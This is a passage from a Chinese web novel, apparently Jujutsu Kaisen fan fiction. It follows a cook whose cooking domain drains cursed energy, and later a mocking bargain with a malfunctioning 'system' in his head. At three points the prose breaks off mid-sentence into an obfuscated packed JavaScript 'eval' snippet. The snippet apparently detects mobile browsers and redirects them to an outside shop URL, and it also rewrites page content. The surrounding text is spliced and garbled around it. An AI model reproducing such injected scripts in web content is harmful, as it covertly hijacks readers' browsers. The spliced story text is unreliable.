而如果只到这里,还能称得上细节的“改良”的话,接下来栗秋焰的举动,则是完全令人意想不到的“颠覆”了。 他拉开易拉罐,将冒着气的气泡水倒入了冷面汤中。 “气泡水?!”夏油杰眼睛都瞪大了:“为什么要把饮料倒进冷面的汤里——” “这样会有碳酸饮料一样的气泡感,尝起来是独一份的爽口哦。”栗秋焰很淡定:“其实用小苏打也行,种花家那边还有人用雪碧,但我觉着齁甜。” 嘴上说着,栗秋焰已将冷面汤盛起放在一边,起锅烧水,开始切苹果。 “这肯定不行的吧!”夏油杰还在混乱:“哪有这样做冷面的……” “没想到你竟然还是个守旧派。”栗秋焰奇怪道:“那你怎么现在才震惊?” 夏油杰愣了下。“你之前不都是常规做法吗……?” “不是,你之前还特意说了荞麦面啊。但凉面用荞麦面完全是种花家的做法,日式凉面不都是用麦芯白面……” 栗秋焰正纳闷着,突然脑中灵光一闪,他恍然大悟。 “哦……原来如此。”栗秋焰感叹道:“你妈妈很在乎你啊。” “啊?”夏油杰看上去更茫然了,过了会才反应过来:“你是说……” “嗯哼。” 普通的霓虹家庭主妇,自然不会有精力研究远在种花的纷繁冷面派系,更别提摘取细节与日式冷面融合,进行恰到好处的创新。 那么只有一种可能…… 水开了。 栗秋焰将已泡好的荞麦面下进锅中,热气蒸腾而起,溢出荞麦独特的清香。 “因为你喜欢嘛。”栗秋焰笑道。 夏油杰好像突然间被久远又漫长的回忆击中了,心脏紧缩了一瞬,似乎从深处泵出了温热的暖流,随着血液流向四肢百骸。 但不知为何,眼眶却有些酸涩。 栗秋焰将煮好的荞麦面捞起,用之前准备好的冰水反复投凉清洗,这一步可以洗去面条的淀粉,让它降凉的同时更加筋道有韧性。 最后他将面放在空碗中,上面整整齐齐码上苹果片与黄瓜丝,再撒一些碎的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13162991|138771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白芝麻增添香味,红、白、绿均匀地平铺在暗色的荞麦面上,视觉的观赏性极强。 其实到这一步,苹果与黄瓜也就更多地起到一个造型上的作用,颜色协调的同时反而要注意不能多,不然味道的融洽会被破坏掉。 最后一步了,栗秋焰刚准备拿起盛汤的碗,夏油杰却又说话了。 “苹果……”夏油杰问:“外面普通的冷面里会放吗?” “不会吧,日式冷面不放水果的。”栗秋焰想了想:“你妈妈放,可能是发现荞麦面本身会带清苦味,小孩的舌头又比较敏感,于是就用苹果的酸甜压过去……” 夏油杰有些发怔。 “怪不得。”他说:“她放太多了,我总抱怨有点酸。” 栗秋焰定定地注视着夏油杰。 接着,他碧潭般的眼瞳动了动,笑着抬手一拢。银光闪过,栗秋焰将剩下的苹果全切作片,整整齐齐地码在了面上。薄如蝉翼的果肉宛若剔透的白玉,在温暖的灯光中散发着柔和的光晕。 原先的料理经过多道细节,会融合交织成轻盈完整又不喧宾夺主的柔和果香,现在这样堪称粗暴的举止,只会破坏其美观与融洽。 但那又有什么关系? 栗秋焰拿起盛底汤的碗,将冷面汤细细地浇淋在面上。色泽清透的汤汁流过缝隙,汪出一碗流淌的琥珀。 他之前所说的话完全发自内心。酸甜苦辣、喜怒哀乐,感情总是相通的。做菜如做人,做人如做菜。他这么想,也就这么做。 无论何时,他始终相信—— “人。最重要的,永远是眼前的人。” 栗秋焰将冷面放在夏油杰面前,绿眸认真而温柔地与他对视。 “料理是诚实的表达。当料理有了对象,那么厨师的感情必将包含其中。而当食客品尝时,那份感情又将被ta的心所折射,体会在舌尖之上。” 栗秋焰这么说着,递过来一张纸巾。 夏油杰怔了一下接过,潮湿闷热的天气加上长袖长裤的高专制服,他后知后觉地按住了下颌上刚凝聚的汗滴。 栗秋焰一笑,指尖一敲碗壁,瞬间碗边温度骤降,汤中浮起将凝未凝的碎冰绒。 他垂下眼睛,玩笑般微微笑道。 “尝尝吧。”栗秋焰笑道:“你的心。” 夏油杰瞳孔收缩。过了一会儿他才深深呼吸了一口气,夹起了一筷冷面。 入口的瞬间,清透的果香伴着荞麦面的清香充斥鼻腔,面条爽滑到不可思议,鲜甜的冷面汤清爽美味,气泡感在舌尖翻涌,恰到好处的微酸勾着食欲,让人只想急不可耐地再吃一口。 原本喉底的恶心感像是从没存在过,面条滑下的瞬间压下了一切难言的烦扰不适,夏油杰一口接着一口,只觉得想这样安心放松地一直吃下去。 就像那个多年以前童年的夏日。 “……真好吃啊。”夏油杰说:“好吃到想一直吃下去啊,在每一个夏天。” 要不等会给母亲发一个消息吧?他想。 听到这话栗秋焰眨了眨眼。 嗯……这两人应该知道还记得他要退学了吧? 今晚之后,他栗秋焰就是自由的厨子精灵,所谓天高任鸟飞、海阔任鱼跃——这两人不会觉得即使退学了,他也会经常回来高专吧? 栗秋焰观察了一下两人,感觉好像还真是。 他眼珠转了转,哼哼笑了一声,故意没有点破,准备到临走时再宣布这个噩耗。 ——小兔崽子们这是最后一顿啦!你们以后都得吃高专食堂的猪食啦!桀桀桀桀桀桀…… 夏油杰仍沉浸在思绪中,但显然他复杂的情绪并没能持续太久——因为他的咒力突然不受控制了。 “等等,我的咒力,这是怎么回事——!” 夏油杰眼睁睁地看着自己的咒力源源不断地涌出,接着……汇入了栗秋焰的领域中。 夏油杰:??! “可惜……” 栗秋焰看着夏油杰身周依次亮起的标签,【酸】【凉爽】,然后是一个新的【果味】……停在了这里。 “只有三个,没到四个啊。”栗秋焰遗憾道:“到现在还没出现特效,看来这道料理不能让你开领域呢。但好像……有点别的作用?” “你在说什——等等,这又是什么?!” 两道虚影飞了出来,夏油杰发现自己所持有的两个最强的咒灵失去了控制。 虚影瞬间膨胀,一条气势恢宏的龙腾起,盘旋在领域上方,龙瞳森严地注视着下方,而穿着风衣长发遮脸的女人出现在了栗秋焰身旁。 “小心!”夏油杰失声道:“那是特级咒灵虹龙和裂口女——!” 栗秋焰轻笑了一声。 下一秒,虹龙展开身体,一道红底横幅猛地拉开,上头赫然是一列明晃晃的黄字: “新店开业,欢迎光临!” 裂口女则从口袋中掏出两个巨大的手花,开始合着节奏边上下摇晃边摆动身体。 而总是甜美诡异地问着“我美吗”的声音,现在则轻快活泼地唱着简单又洗脑的旋律。 “你爱我,我爱你,栗秋食堂甜蜜蜜……” 抬起的手僵在半空,呆滞的夏油杰:“……” 五条悟发出一阵爆笑。 “怎么不吃了,杰。”五条悟幸灾乐祸地拍他的肩:“不过没关系,你肯定会比面汤先一步被吸干。” 夏油杰:“……” 7. 有话好说先放过龙质 “我真傻,真的。” 夏油杰语气沉重。 “我早该想到,栗秋焰的领域,怎么可能像看起来一样无害。以温和的外表令人放松警惕,结果真正接触后惊觉‘完蛋了这是陷阱!’……简直跟本人一模一样可怕。说真的,这是诈骗吧。” 栗秋焰:“……在吐槽厨子之前先把碗放下。有本事你别吃啊!” 夏油杰非但没有放下碗,反而抓得更紧了。他仍维持着那副沉重的表情,但像是突然失去了听觉,充耳不闻地低头抬碗,和着面汤吸溜面条。 “杰没本事。”五条悟的刨冰早就吃完了,在一便笑嘻嘻道:“反正咒力已经被抽了,咒灵在你的领域结束前又回不来——连饭都不吃完岂不是更亏了?” 夏油杰的视线偏移了一下。 “……焰,你今晚还住在高专宿舍吧。” 栗秋焰:“好生硬的转移话题!” 他思索了一下,还是从善如流地被转移了,顺手拿了个碗出来调料汁。 “嗯……不了吧。”栗秋焰回忆了一下:“我好像在附近有房子来着。” 夏油杰:“?” 五条家主·五条悟:“很正常吧。” “这应该不算正常吧。我到现在还不明白为什么要送小孩儿房子当礼物啊,专门用来摆厨具吗?” 想到当初为了见他爸妈一面,就各种送莫名其妙的礼物给他这个小孩儿当敲门砖的那些人,栗秋焰说起这个就无语。 “倒是送点有用的啊!凭什么送我妈千年人参,送我爸顶级松露,送我就是宝石房子大金表啊!可恶!” 夏油杰:……说出这种发言的你才比较可恶吧! 而且——夏油杰这才意识到,在之前共同生活的时候,虽然能够从栗秋焰的气质细节中隐约感觉到,这个人成长的环境并不为金钱发愁,但没想到竟然是什么大家族的少爷吗? 不过栗秋焰又说过他是独生子,且父母双方都是厨师……这样的描述…… 夏油杰脑海中浮起一对夫妻。这对伉俪在结婚前就曾各自霸占过多次杂志头版,其知名程度连他都有所耳闻。 不过,这除了得益于日媒铺天盖地的夸张用词,还有一部分原因是他曾机缘巧合下,听到过高层机密会议的只言片语…… ——似乎说,他们两人做出的料理,对普通人有特殊的影响? 但夏油杰仔细回忆了一下,发现完全没有听闻过那对夫妻有孩子的信息,而且两人无论哪一个的姓氏都跟“栗秋”搭不上关系。 看来是巧合。 夏油杰暗哂了一声,摇了摇头。 “而且就算没有,难道凭我的厨艺,还怕找不到住的地方吗?” 栗秋焰随手用生抽糖盐调了个最简单的料汁,芝麻与辣椒一放,明明连热油泼香都没有,但最佳比例的起码组合仍然爆发出了令人垂涎欲滴的香气。 “一餐换一晚的住宿——谁能拒绝我?”栗秋焰笑了一声:“唯一需要担心的,只有主人家会不会用尽手段也要把我留下来。” “……这是否有些夸张。” “不要小看人类对食物的渴望啊!”栗秋焰震声道:“我以前离家出走的时候,可是差点被一个留子囚禁了啊!” “无论哪一个关键词都很不妙吧。”夏油杰瞪着他:“而且你立刻停下——不要再用我的特级咒灵洗碗了!” 栗秋焰眨了眨眼睛,满脸无辜的纯良。在他身后,裂口女正满脸狰狞地按着虹龙的头往锅里按,而虹龙也真的乖乖缩小了身体——见鬼,夏油杰都不知道自己的咒灵还有这功能! “有什么关系嘛。”栗秋焰转了转眼睛,慢吞吞道:“而且又不是我控制的,纯自动——它们应该把自己当做了打杂之类的存在吧。” 说着栗秋焰将调好的料汁倒进余下的面里,拌了拌后尝了一口。 “差强人意,今晚就对付一下吧。”他咂了咂嘴,幽幽道:“……谁叫我的凉粉被人弄坏了呢,呵呵。” 夏油杰、五条悟:! 栗秋焰将手上的料碟往后一丢,虹龙腾起一口咬住边沿,往常泛着可怖圈纹的龙瞳,此刻宛如初生的小狗一般清澈。 它欢快地叼着碟子跑回,然后被裂口女一手抓住,攥着那蓬松的龙髯就要往满是料汁的碟子上按。 夏油杰倒吸了一口冷气,转身就要跑,试图用离开领域的方式使咒灵脱离栗秋焰的控制。 反应很快,但—— 砰! 夏油杰迎面就狠狠撞了一下头,之前随意进入的领域边沿,此时化为屏障挡在他的面前,仿佛和空间固定在一起般,厚实稳固到无可撼动。 他猛地回头,看到栗秋焰表情笑眯眯的,像只黑毛狐狸般坐在原地,就差捧杯茶看好戏了。 “浪费粮食可不好。”栗秋焰挑了挑眉:“你还没【吃完】呢。” “我明明……” 夏油杰一低头,看见自己碗底还剩下小半碗的面汤:…… 眼看虹龙的头就要与碟中的料汁亲密接触,几乎能预见那蓬密的龙髯马上将吸饱鲜辣的汁水,没准连白芝麻和辣椒末都会一起渗透进龙鳞中—— 救命啊,他不想打架的时候闻起来很好吃啊!!! “对不起我错了尊敬的焰君请你放过我的龙!” 额上通红一片的夏油杰迅速一口气大声喊道。 “停。”栗秋焰淡定抬手。 宛如令行禁止的士兵,裂口女的动作当真立时停了下来,虹龙离料碟只有堪堪几毫米的距离。 但虽然停了下来,裂口女也没有丝毫收回的动作。栗秋焰仍然笑眯眯地看着他。夏油杰稍稍停顿了一下,随即福至心灵。 “碗我来洗。”主动交换完条件后,夏油杰毫不留情地祸水东引:“而且悟才是主犯。” 五条悟:?! “好啊,我就知道。” 栗秋焰一手抄起擀面杖,在另一只手掌上一下下地敲着,似笑非笑地看着五条悟。 “来吧,五条。是时候算账了。”栗秋焰握紧擀面杖,“竟敢在我的厨房捣乱……我现在,可是【全心全意】地想揍你啊。” 栗秋焰的术式“概念剥夺与赋予”,前置发动条件为【全心全意】。在外界眼中,栗秋焰只是个无法动用术式的废柴四级术师,但只有他们这些亲近之人才知道…… 一旦与料理相关,【全心全意】的栗秋焰有多可怕。 而现在自己还属于咒力被抽空的状态…… 五条悟眼珠一转,当即脚腕发力跳起,借力在地上一点,身形向后急速退去。 假如脱离领域的条件是【吃完】——杰出不去因为没满足,但他可满足了啊! 他吃得可干净了! 五条悟莫名还有些骄傲,向后退去时果然没感受到任何阻碍。 他刚得意洋洋地向栗秋焰露出笑脸,就见栗秋焰侧腰弯腿蓄力,一手倒提擀面杖,向五条退去的方向挥去,另一手则摸过推车上压案的铁块,在挥出的刹那,为擀面杖附加上【沉重】属性。 瞬间恐怖的破空声爆出,普通的擀面杖此时宛若一柄足有一人高的宽边重剑,强劲的力道将栗秋焰高高抛起,他以剑带身,在空中流畅地转了一圈,转眼间已来到了五条悟面前。 随即在五条悟仰起的微缩瞳孔中,栗秋焰一笑,又以身带剑,腰部与手臂一同发力,将沉重至极的擀面杖高高抡起,连带着全部的体重,一同狠狠往下砸去! 咚! 栗秋焰落地,抬手剥夺掉擀面杖上的【沉重】概念,动了动肩膀卸去过大的反震力,看着卡在五条悟额上几毫米处,不得寸进的擀面杖。 无下限。 虽然只拖延了一点时间,但足够他回复的咒力使用术式了。 五条悟缓缓吐出一口气。 “怎么一副真被吓到了的样子。”栗秋焰淡定道:“安心啦,无下限绝对开得出来的——你不是有你那个六眼降蓝耗么。” “喂,你绝对是真想揍吧!”五条悟抗议道:“而且你以前又没有吸干过我的咒力——这不公平!” “难道你以为我是在跟你切磋吗。”栗秋焰森森一笑:“动了我的食材……你以为没挨打,这事儿能已经算过去了?” 五条悟迅速警觉,但栗秋焰已张开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不过俗话说,世上没有不散之宴席。人生在世,哪能处处圆满呢——再说想见的话,总是能见到的啦!” 一边说着,栗秋焰已经利索地收拾好了小推车上所有的东西,向着两人举起手。 “再见啦!”栗秋焰轻快地挥了挥手,中二又自信地笑道:“我的征途——是整个世界!” 说完后他便轻装简行,转身潇洒地离开——好吧,也不算非常潇洒,毕竟他还咕噜噜地推着那个小推车。 夏油杰和五条悟看着他离开的背影,不知为何沉默了许久。 夏油杰轻轻地叹了口气。 “……这不是连说话的机会都没有给我们么。倒是好好道别啊。”夏油杰无奈道:“不过……也确实是他的风格呢。” “……” 五条悟低着头,闷闷地不说话。 “悟?” “……于是他把我们留在这里了。”五条悟冒出一句:“栗子真的就这么走了吗?” 夏油杰怔了怔,突然有些不知道说什么。 “悟。”他问:“你经历过离别吗?” 五条悟想了想。 因为身份的特殊性,他身边的人都是流动的,人们如流水般来来去去,所谓的感情如樱花的落瓣,还未停留便瞬息而去。 于是他回答。 “不知道。” “……这样啊。” 夏油杰轻轻地拍了拍他的肩。 “没关系,你会知道的。”他说。 虽然这么说了,但夏油杰没有想到,会在深夜中看到灯火通明的厨房。 他本以为是栗秋焰丢了什么东西回来,抱着些莫名的期待过去,却没想到看到了五条悟。 冰箱开着,五条悟拿着罐开了的草莓酱,有些发怔地看着他。 “杰,我知道了。” 五条悟慢慢地说。 “离别……是酸的啊。” / 同一时间的栗秋焰,虽然找到了那座房子,甚至发现还有保洁定期清洁,于是十分顺利地入住了。 但他这个深夜的时间点,却同样没有睡着。 ——因为他听到了,那道来自脑内的电流声。 8.这里不该出现这个吧 【滋滋——滋——】 夜深人静,此时栗秋焰更加确定,这道怪异的电流声不是来自于别处,也不是自己的幻觉,就是切切实实在自己大脑深处响了起来。 【滋——】 “……吵死了。” 栗秋焰一个翻身坐起来,大大地打了个哈欠,眼神呆滞。 “我明天清早还要爬起来去买菜……”他眼皮都快合上了,“不管你是什么东西,我对你和蚊子一个要求,你想干嘛悄悄地干,别在我耳边嗡嗡嗡了……” 【重、重启中——】 伴随着勉强能分辨出的词句,电流声随着波动越发刺耳起来,发出一阵阵“刺拉——”的噪声。 【尊敬的‘刺拉——’宿主,您好!‘刺拉——’系统为您‘刺拉——’服务……】 “你的麦好炸啊——”栗秋焰嘶了一声:“为了我的耳朵,我可以是公主,对我使用迪O尼沟通术吧!或者你信教吗,他心通也行,我不挑。” 【……】 自称是系统的声音沉默了一会儿,电流声的杂音终于渐渐减弱,最终消失了。 在脑内的噪声终于清空后,那个声音才再次开始说话。 【系统重启成功。尊敬的宿主,080号为您服务。】毫无感情的机械音响起。 “……前提就免了,毕竟在下遍览群史,也算一名轻小说厕纸鉴赏家。” 栗秋焰深沉道。 “但怎么想——这里都不该出现系统吧!” 栗秋焰百思不得其解:“我既没有被卡车创,也没有要退婚的未婚妻,更不想去异世界……你出现在我一帆风顺的人生中,是为了衬托别的主角的败犬吗?” 系统:【……】 【系统会发布任务、给予奖励,帮助宿主您成为万中无一的人生赢家,享受众人竞相追随的幸福一生。】 “哇!好厉害!”栗秋焰战术后仰,捧读道:“但我现在就能啊。” 系统:【?】 “我本来就是人生赢家啊。至于竞相追随……” 栗秋焰想了想。 “我现在开窗烧一锅红烧排骨,能把方圆三公里的留子全钓出来。”栗秋焰:“明天我的门槛没破那就可以直接打急救电话了——应该是发生踩踏事件了。” 系统:【……】 “而且别想骗轻小说大师!你总得图我点啥吧?能量?主系统的任务?”栗秋焰猜测道:“应该是能量,毕竟你刚刚‘重启’,肯定是需要某种东西作为充能……情绪?灵魂?生命?” ……几乎瞬间就猜中了。 好可怕的轻小说大师! 系统高速运转着CPU,卡顿了半晌后,还是按照原本的程序运行了下去。 【本系统名为‘攻略系统’,将可视化各个人物对你的好感度数值。每升一级都会发放奖励,数值越高,奖励越丰厚。当可攻略角色好感度全满后,本系统将自动脱离……】 “原来是吸情绪当能量的。” 栗秋焰点了点头,验证了自己的猜测。 “不过你跑错片场了吧大哥,建议左转隔壁rp□□场。”他好奇道:“所以这个好感度是cp还是cb……?” 系统:【社会描述中,定义为爱情。】 栗秋焰像一只骤然受惊的青蛙般从床上跳了起来,忍不住瞪大眼睛喊道。 “卧槽!”栗秋焰震惊了:“恶俗啊!” 系统:【……】 资料中存储了无数种预案,但没有一种是栗秋焰这个反应,系统的cpu又卡住了。 “原来还贪图我的身子!”栗秋焰发出控诉:“你别想了!我会一辈子为凌星守身如玉,还有双双、安德烈、碧翠丝……” 系统:【未检索到相关角色。凌星是谁?】 “是我的菜刀。”栗秋焰深情款款地柔声道:“顺带一提双双是我的剪刀,安德烈是剔骨刀,碧翠丝是绞肉机……” 系统:【……】 它搜索了一遍人类疾病症状描述,在宿主备注后添加了【神经】标签。 “本质上你只是需要能量而已,爱情就算了,但其他的‘情绪’,我倒是可以帮你想想别的办法。但是……为什么呢?” 苍白的月光下,气氛似乎发生了微妙的变化。栗秋焰弯起眼睛笑了笑,他明明脸上还在笑着,微眯的碧瞳却泄露出几分冷意。 “让我来总结一下吧,你要活下去只能依赖我,而对我来说你就是累赘。” “这是你最后的机会——展现你的价值,用别的理由说服我。” 栗秋焰轻飘飘地笑了一声。 “或者……一边哭一边求我?”栗秋焰笑眯眯道:“也许宽容的栗秋大人,会好心地赐予你活下去的机会哦——” 怎么可能。 它自认是更高级的智能生命,绑定过的宿主无论什么性格,最后都还是会依从它的计划行事,因为服从命令的成功、抗拒命令的失败,趋利避害,它永远是对的。 ——这个叫栗秋焰的宿主,自然也不例外。 系统沉默了片刻后,毫无预兆地丢下了一个重磅炸弹。 【你的咒力天赋,是由我激发的。】 系统的声音机械道。 【现在只是重启。而我初始开机在你15岁,我用微生物电流刺激你的大脑,使你变成了咒术师。】 【即使之后因能量不足陷入休眠,我也在刺激你的大脑……所以即使你几乎没有负面情绪,也仍然有源源不断的大量咒力。】 【所以,栗秋焰,你必须配合我。】 系统的声音冰冷道。 【因为失去我,你将会变成普通人。】 栗秋焰的眼瞳动了一下,定定地注视着虚空中的某一点。 “我……” 他闭了闭眼,接着突然不知道从哪掏出了一张纸,作柔弱的西子捧心状。 “我就说,那盘菌子我绝对炒熟了!”栗秋焰夸张地抹去并不存在的眼泪,夹着嗓子凄楚道:“臣妾此身,从此分明了。” 系统:【……】 神经啊! 栗秋焰的戏瘾收放自如,一抹脸又无缝切换回了笑嘻嘻的模样。 “咒术师?普通人?什么人有什么人的活法,吃一天的饭,活一天的命。活明白了一辈子,活不明白也是一辈子。” 栗秋焰表情轻松,少年的脸庞呈现出一种超脱的自信洒脱,他笑着,眼眸仿佛生来通透的灵玉。 “咒术?那东西对我来说,不过是一项工具而已。有用,但仅限于此,跟双双、安德烈、碧翠丝……没什么区别。有了我,它们才具有意义;没有我,它们就是一块废铁。” 明明刚刚才得到领域的强大力量,但栗秋焰却毫无怜惜,握住人人趋之若鹜的力量却仿佛捡起路边的石子,随意捡起,即使注视了那魔性的光辉,也仍然像石子般随意丢下。 “衬衫的价格~是九镑十五便士~”栗秋焰哼着怪模怪样的歌,“李华上了大学,小明做了售货员,我成为神厨小栗秋,我们都有美好的前途~” 奇怪的人类。 ……而且,很危险。 诱惑无用,威胁无用。无法被打动的人,是最危险的——因为他们行动的标准只有一个,那就是自己的心意。 而人心,是最不可控的。 系统在栗秋焰的备注后,慎重地增添了【极高危】的标签。 “而你,我的朋友……” 栗秋焰的调子一转,笑眯眯地说。 “时间差不多咯。”他说:“对于打扰了我的睡眠,有什么遗言吗?” 【等等!其实我全称是美食攻略系统,有很多功能的!比如我的商城中有失传的菜谱,未来的科技厨具,还有……啊对了,我还可以一键托管烹饪过程……】 系统的声音少见的慌乱了起来。 本来栗秋焰的表情还逐渐有些兴趣,但在听到最后一句时瞬间变了脸色。 之前无论是诱惑还是威胁,他表情全程都没什么大变化,但就这一句,却让他所有的笑容尽消,眼眸瞬间冷得刺骨,本应没有感情的系统,竟在这时感到了一丝恐惧。 “滚。”栗秋焰冰冷道:“立刻,马上。” 像是被侵犯了领地的君王,栗秋焰毫无起伏的声音宛如深黑的海面,其下涌动着噬人的漩涡,酝酿着暴戾的巨浪。 这既是命令、是警告,也是通知——因为他已经走到厨房,抽出了一把尖刀。 【——我们是一比一复刻还原大师烹饪过程的,绝对美味!我甚至可以给你放电影!看着电影菜就自动做好了,不用学也不用做,方便省心快捷——这不是所有人都想要的吗!】 系统发出了近乎惊恐尖叫的杂音。 因为它看到栗秋焰将刀抵在了眉心,凝视着锋利的刃,将注意力下沉—— 他在强行解析“自己”身上的【概念】! 这家伙,想通过术式把系统从身上强行剥离,但系统一旦离开,咒术不知道什么时候就会失效——那时,他必死无疑。 疯子! “大师、复刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【我还是给你发任务,但做不做随你,失败没惩罚成功有奖励——食材、菜谱、厨具应有尽有!】 栗秋焰挑了挑眉。 似乎刚刚那场严重的破坏,让它的情感模块也被打乱了,此时,系统终于彻底崩溃了。 【我求你!求求你了——】 很神奇,机械音发出的哭声竟然也是不规律的,夹杂着轻一阵重一阵的电流音,栗秋焰几乎幻视了一个灰色的团子趴在角落里抽噎。 ……好吧。 既然如此,他也不是什么心狠的人。 绝对不是馋失传菜谱和顶级食材,绝对不是。 栗秋焰将刀抽了出来,扔在了一边。 “平身吧。”栗秋焰大发慈悲道:“给我看看你那个什么任务。” 系统抽噎了一下。 【是,陛下。】 没想到系统真会接梗的栗秋焰:“……” 怎么回事,一刀给高级智能生命捅成捧哏的了? “不过这个任务……” 栗秋焰先是看见了奖励——顶级海鲜类食材大全套,顿时眼睛都发光了。 帝王蟹!三文鱼!飞鱼籽!…… 看这纹路!看这肉质!全是最顶级的食材,直接片个刺身都好吃,更别说细致的烹饪了,香甜鲜美柔软回香—— 然后看任务条件…… “14点前抵达xx公园摆小吃摊,使目标增加好感。”栗秋焰皱眉,试图对逐渐刷新的图像进行分析,“……这谁?” 系统:【启禀陛下,这是伏黑惠。】 “不要再捧哏了,还有这是……小学生?!而且头发好像海胆!” 栗秋焰看着图上的黑头发小孩,瞪大了眼睛。 “……你知道我要说什么。”栗秋焰瞪大眼睛欲言又止,“难道这是你们原定‘攻略对象’之一……你们连小学生都不放过吗!” 系统:【……时间线定位混乱了。他本来应该是青涩但靠谱的冷面系少年。】 “我懂,佐助。是不是还有热血男一和傲娇女一组成经典三人小队?”栗秋焰忍不住吐槽道:“这种设定的描述,听起来好像会和挚友一起卖很大。” 【因为卖很大的另有其人……不是。】系统的声音波动了一下:【总之任务系统坏了,判断很不灵敏,你只要得到‘强烈的情绪’应该就能判定成功……然后我大概也能得到能量。】 “哦……”栗秋焰若有所思:“反正只要让他觉得‘好吃!’就行了对吧。” 系统:【大概。我不确定,以前我从来没坏得这么彻底过……不过我以前也从来不讲相声。】 “……那你还挺有天赋的,也不知道德云社乐不乐意收一个机器人弟子,下次我给你做身大褂。” 栗秋焰顺嘴跑火车,盯着图片思索了片刻。 伏黑惠啊…… 不知道这小孩,会喜欢吃什么呢? 9.小惠 白日的阳光耀眼灼热,暑热仍是蒸腾着,旁边锅中煮沸的水咕嘟作响,汗水浸湿的衣服贴在少年劲瘦的腰腹上,勾勒出流畅的肌肉线条。 再往上,就是清晰如蝴蝶展翅的肩胛骨,然后微微起伏的雪白手臂——接着是沾满鲜血的手。 栗秋焰双眼冰冷,毫无感情地提起刀。 咚! 刀下的尸体顿时血肉分离,连骨头都□□脆利落地斩断—— “喂?” 栗秋焰侧耳夹着手机,一手拿刀一手将案板上的鸡挪了个边。旁边放着刚刚剁下来的鸡爪。 干脆血腥的刀声与清澈的少年音形成了鲜明对比,电话那边的人沉默了一瞬才开口。 “你要的东西好了。”一个成年男性的声音懒洋洋道:“那边尾巴没扫干净,委托我来送货。” 东西……哦!是之前定制的炒菜大铁锅! 找到能打符合他需求的铁锅的工匠可难了,他可是破译了六条密码,解读了十三条暗语,最后孤身深入地下小巷上门拜访,才搞到大师的插队定制的啊! 本来即使人都在面前了,那个古怪老头仍然坚持不打破原则,但是烧了道蝴蝶燕窝就搞定了,还蛮轻松的。 一听锅好了栗秋焰顿时激动起来,咚咚咚三下利落地将鸡爪鸡翅全部剁下,满是欣喜地开口。 “那你什么时候送来?” “……” 电话那边的伏黑甚尔吸了一口烟,从鼻子里发出一声嗤笑。 没想到那位凶名赫赫的咒具大师,为了不耽误交货时间,不惜花重金与人情委托送货,惹得诅咒师界议论纷纷的神秘座上宾…… ……竟然是个连隐藏安全屋都不懂的小鬼。 虽然听起来对分尸毫无心理负担、下刀干脆利落,从这两点看还挺有干这行的“才能”的……但毕竟经验太少,作为杀|手来说还是个雏啊。 按照那位大师的血腥凶名和古怪脾气,估计这小子过不了多久就会被麻烦找上门吧。 这小子最好是独居,不然和他住一起的人可就要倒霉了。 ……嘛,不过这就不关他的事了,他只负责把货送到。 先入为主的伏黑甚尔,并不知道他的判断已经完全跑偏,只是手指向下按灭烟头,边拧转边淡淡地开口。 “你定。时间、地点?” “嗯……那就今天晚上吧,地址送到——等等,我等会再告诉你吧,今天可能要搬家。”栗秋焰想起了系统任务:“而且我这会儿正忙,下午也还有其他事。” “行。发到这个号码上。” 伏黑甚尔报了孔时雨的号码,随后没有废话,直接挂断了电话。他抠开手机后盖,拔出临时电话卡,掰断后随手一扔。 断裂的电话卡划过一道弧线,轻巧地坠进了垃圾桶中。 一声轻响。 白糖落进盘中,栗秋焰将撕下的鸡肉放进嘴里,细细咀嚼后露出了微微满意的表情。 “鸡肉处理完美,没有丝毫腥味。蒸熟的丝缕白肉,衬托出米香、枣香……饴糖与桂圆的甜味,全部渗透进熟烂的鸡肉中,淡甜香美。一道完美的地黄甜鸡,不愧是我。” 生地黄与撕碎的桂圆肉混合,掺上饴糖调成馅料,塞进挖空的鸡腹内,然后灌米汤封口,与去核红枣一起大火蒸上两三个小时。 虽然是第一次做,但味道不错。生地黄甘寒益肾,其余之物皆为甘温,益补心脾;两相协同补血补气,正适合昨晚糊弄了一餐还熬大夜了的他。 “真棒啊,感觉今天一下子有意义多了。”栗秋焰又撕下一块鸡肉,品味着舌底渗出的温和甘香,感叹道:“果然,好好地吃上一顿饭,才有好好地在生活的实感啊……” 系统:【所以我这种电子生命是作孽太多,才被判了看得见吃不到的无期徒刑吗?】 “只是一晚过去,你的槽力竟然长进得如此之快。”栗秋焰拉起领口擦了下脸侧的汗,抱怨道:“好热啊……设计出开放式厨房的老外就该下地狱。” 新房子哪哪都好,但一个缺点足以抹平所有优点,将栗秋焰的居住体验直接降到最低——它竟然是开放式厨房! 厨房没有做隔离,所以就算有油烟机还开着窗户,油烟味仍然会传到生活区。本来就是夏天,就算栗秋焰特意选择了无烟还气味好闻的蒸菜,仍然抵不住蒸汽流动的热量。 所以他一定要换个地方住!今天就换! 这个开放式厨房真的忍不了一点! 系统:【容我提醒,这里是霓虹,你这个混血才是老外。还有……你想好下午给伏黑惠做什么了吗?】 栗秋焰眨了眨眼。 “啊,忘了。”他说。 系统:【???】 系统发出了电子生命的高频率尖锐惨叫。 “……看到下午两点去公园摆摊,就考虑卖什么更受欢迎去了,一来二去就忘记那个小孩了。”栗秋焰理直气壮道:“没关系吧,就算不特意准备,难道还有人能觉得我做的东西不好吃?” 【普通好吃不行啊!是要增加好感啊!要强烈的情绪啊!】系统还在尖叫:【而且就算是普通人——你也根本没准备菜,根本没得卖!你连锅都没有!】 “增加好感还不简单,我看到那小孩就说他是幸运顾客给他免单还倒送两份,这好感度岂不轻松拿下?” “至于没准备……” 